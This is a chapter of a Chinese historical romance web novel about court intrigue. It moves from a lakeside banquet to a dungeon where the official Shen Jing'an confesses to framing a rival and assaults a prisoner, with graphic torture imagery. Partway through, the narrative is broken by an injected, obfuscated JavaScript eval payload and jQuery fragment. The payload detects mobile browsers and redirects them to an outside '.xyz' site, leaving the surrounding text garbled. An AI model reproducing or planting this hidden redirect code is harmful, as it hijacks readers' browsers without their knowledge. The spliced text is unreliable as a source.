此人出现在此倒叫她诧异,毕竟她相公之地位甚至高过曾经的沈骁安,竟殷勤来沈府赴宴?
庄秋桐深感突兀,但一时没想明白哪里不对劲。
“妹妹怎的了?”
她的思绪被打断,庄秋桐随即温声回话:“没什么,只是夫人们生的娇艳,坐在我这前院美得像幅画,叫妹妹看呆了。”
众人顿时捏着帕子羞赧笑着:“妹妹嘴真甜,难怪能讨得尚书大人欢心。”
“诶,老夫人说沈府的月仪湖边开满了紫藤花,沈夫人带我们一同去赏花如何?”
庄秋桐温婉颔首:“能给夫人们带路,是桐娘之幸。”
月仪湖的紫藤花茂密而唯美,清风吹过,碧波荡漾,垂落的花穗扑簌簌地晃动,阳光照过,花色变得深浅交错,宛若泛着光泽的绸缎。
水中锦鲤百许头探头,追逐贵人投来的吃食。
她们来得巧,这些官员正在鹤云台闲谈,庄秋桐一眼就注意到了沈靖安,此人正穿着她裁的衣裳招摇。
“大家都在呢!”都督夫人眼底一喜,领着女眷们上鹤云台。
沈靖安冷不丁起身,避开众人,径直走到庄秋桐跟前,朝她伸手,清风吹过他的青丝,胸口的桐花刺绣被吹得紧贴心脏,腰间的香囊流苏轻轻摇晃:“过来坐。”
“这便是那位心灵手巧的桐夫人?”京兆少尹开口,其他人也领会了彼此的眼色。
庄秋桐自然不会在这种场合驳他面子,随他过去一一问安。
“不必多礼。”大家的面上无不和善,唯独高位的老夫人,始终没有看她。
整个京城,大抵只有沈老夫人对庄秋桐御前求和离之事还耿耿于怀。
“都说沈尚书把夫人捧在心尖宠,我看呐,沈夫人也是个护食的,知晓这么多人前来,硬是裁了身衣裳让沈尚书今日穿,还在香囊上绣自己的名字。”也不知哪个说了嘴,其他女眷立即八卦地打量。
“还真绣了呢!”大家眼神调侃地在她们二人之间巡回。
“这竟都是出自沈夫人之手吗?针线紧密,丝丝入扣,沈夫人的女红当真精湛!”
庄秋桐皮笑肉不笑地瞥向沈靖安,她怎不知是她逼的他?
沈靖安一脸暗爽,嘴在他身上,想如何说便如何说,反正庄秋桐也不会揭穿他。
“妇人家行迹,让大家见笑了。”
中允夫人掩唇:“沈尚书嘴上嫌弃,却还是穿了这身。”
沈靖安故作苦恼:“拙荆娇气,本官若不穿,倒是难哄得紧。”
庄秋桐:“.......”
此话一出,鹤云台上响起一连串的笑声,惊飞了竹林中的鸟。
庄秋桐则不然,听他说这话,胃里像是吃了苍蝇般恶心。
好在他们没有继续聊这个话题,而是扯到了分裂的匈奴,她索性放空大脑,专注桌上的糕点。
“早在屠斯单于死后,我便猜到新任单于镇不住诸王,果不其然,如今的匈奴诸王瓜分鼎峙,互相攻击,没曾想先帝最忧心的外敌竟搞起了内乱,甚至投奔天宁,若泉下有知,怕是要笑开怀了。”
“拓支派倒是看得清局势,知晓来归奔我天宁。”
茶香扑鼻,太史抿了口:“如今的匈奴被南、北单于控制,逼着底下的弱势单于站队,一旦选错,那必定是全族的万劫不复,与其在二者之间抉择搏命,倒不如投靠地大物博、海晏河清的天宁。”
沈靖安舀了勺桂子蜜酿,剑眉沿着眉峰处斜挑,乌睫遮掩下的眸子转动,未置一辞。
“谁会愿意活在战火中?”光禄大夫面露悲悯:“权柄之争,可怜的终究是苍生。”
金吾卫将军冷哼:“枉费太上皇厚待沈骁安,竟养出如此白眼狼。”
提起此人,权臣激愤起来,义愤填膺地怒斥沈骁安。
不入耳的谩骂刺痛了庄秋桐的心尖,她更是看着老夫人装模作样地哀叹连连。
“怪老身没管教好这孙儿,若是早知他会变得如此大逆不道,当初就算志儿硬要分家,老身也该把孙儿放在身边养。”
“当年是沈志硬要分家?”
外人自然不知内幕,恰好能让沈府人颠倒黑白。
“大人们有所不知,这沈志仗着老爷宠他,还没等老爷入土为安,就闹着要分走一半的家产。”
老夫人的贴身婢女像是憋不住话,委屈又生气地说道,显得格外逼真。
“你这孩子。”老夫人语气无奈:“陈年旧事有何可提的?”
“没想到沈志是这种人?这和恩将仇报的小人有何区别!”
“亏我一直当他为人良善,也是,上梁不正下梁歪,这才养出了沈骁安这种枭獍!”
“老夫人掏心掏肺对他们,却遭背刺,心中大抵不好受罢。”
老夫人煞有其事地佯装难过,心情像是沉痛到不愿多言,看得其他人越发怜悯。
见她们一唱一和,庄秋桐藏在袖子里的指节一点点收紧。
明明是老夫人想守住家产才把人逼了出去,一群落井下石的卑鄙小人。
庄秋桐听得头脑发胀,实在坐不下去,作势起身:“妾......”
她的话被“哐”的砸石桌声掩盖,众人不约而同看向声源处,只见沈远沉着脸站起。
“我突然想起还有要事处理,先行一步了。”说罢,他头也不回,阔步离开。
庄秋桐望着他板正挺拔的身姿,想起沈远在最开始打算为沈志向新帝求情,但在饭桌上被老夫人劝了下来。他顾及沈府,最终还是妥协,答应母亲和大哥家撇清关系自保,但二人情同手足,定也是听不得他们污蔑兄长罢。
分神间,手腕被人攥紧,庄秋桐扭头,撞入沈靖安瞳孔深处的锐利。
“你在想什么?”
他的话语里透着浓烈到化不开的阴郁,怪罪她在他的身边竟然心不在焉。
庄秋桐正酝酿着花言巧语,然而对方根本不给她反应时间,蛮横地搂过她的腰身:“随我去个地方。”
他简单交代了几句,拉着她一言不发上了马车。
“我们去哪?”
气氛压抑而低沉,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175353|180494||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无论庄秋桐怎么问,他只回她那句“到了便知”。
庄秋桐隐隐不安,直到进入阴暗潮湿的地牢,指尖陷入皮肉划出醒目的白痕。
“尚书大人。”
重兵把守的地牢深处不见天日,一盏残破的壁灯摇曳着微弱的光亮,摆放成列的刑具凝固着发黑的血迹,终年散发着浓烈难闻的铁锈味。
亲眼目睹被鞭打得鲜血淋漓的沈志和白芷,庄秋桐惊得脸色发白。
不,这不应该是他们的结局。
“吓着了?”沈靖安安抚地抱紧她:“你就站在外面,免得脏了衣服。”
沈志身上的囚衣早已破烂不堪,鞭痕纵横交错,伤口深至可见白骨,白芷蜷缩在那堆被鲜血浸湿的麦秸上,攀附在上面的小虫沿着缝隙蠕动着,随即被她虚弱的咳嗽声吓得散开。
“靖安......”沈志的嘴唇干裂出血,眼皮无力地耷拉着:“你去告诉皇上,我家骁儿不可能谋反,定是有人陷害......”
“对啊。”沈靖安的眉峰轻扬,看着沈志的惨状,眼底是近乎残忍的快意:“陷害他的,正是我。”
那双无神的双眼缓慢睁大,难以置信地看着他,阳光照在他如枯槁般凌乱的头发上,眼窝深而泛青:“是你?为什么?”
他的声音夹杂着太多痛意与绝望,轻得快要叫人听不清。
“因为他觊觎了不该觊觎的人。”
空气中犹如藏着无数隐形的银针,将庄秋桐从里到外扎了个彻底,就连呼吸都变得艰难,她不敢直视那两道苍老的眼神,自责的泪水开始在眼眶打转,喉间哽住,脑海又不自觉浮现沈骁安临死前的画面。
是她害死了沈骁安,从一开始,她就不该将沈骁安牵扯进来的。
“啊啊啊啊啊——!”地上的白芷崩溃地冲了过来,却被沈靖安轻易扼住了脖子。
那双凤眼凌厉,陡然腾起杀心,掌心用力到青筋凸暴,勒着她就往墙上撞,庄秋桐心头一紧,几乎没有一丝犹豫,卯足了劲猛地推开沈靖安。
“你做什么!陛下都没发话,你怎可滥用私刑!”庄秋抱住摇摇欲坠的白芷,警惕地盯着他。
沈靖安没有设防,被她撞得踉跄磕到木桩,动静直接惊动了外面的狱吏。
“怎么回事!”
庄秋桐眼里闪过慌乱,见沈靖安额角被撞得鲜血直流,身体不由得发虚:“我,我不是有意的。”
“大人!这怎么弄的!快,快去......”
话音尚未落地,沈靖安抬手摆了摆,示意他们出去。
狱吏之间犹疑地看了看,只见沈靖安缓缓走向庄秋桐。鲜血濡湿了他的睫毛,顺着眼睑滑进眼球,伴随黏腻的刺痛,染红了视线。
眼前人不疾不徐地靠近,每一下却像是踩在庄秋桐心口那根紧绷的弦上。
“他......他们毕竟也是看着你长大的长辈......”
身影盖过她的脸,她认命地闭上了眼,然而意料中的疼痛没有到来,沈靖安只是抽走了她腰间的帕子,用力擦了把脸上的血。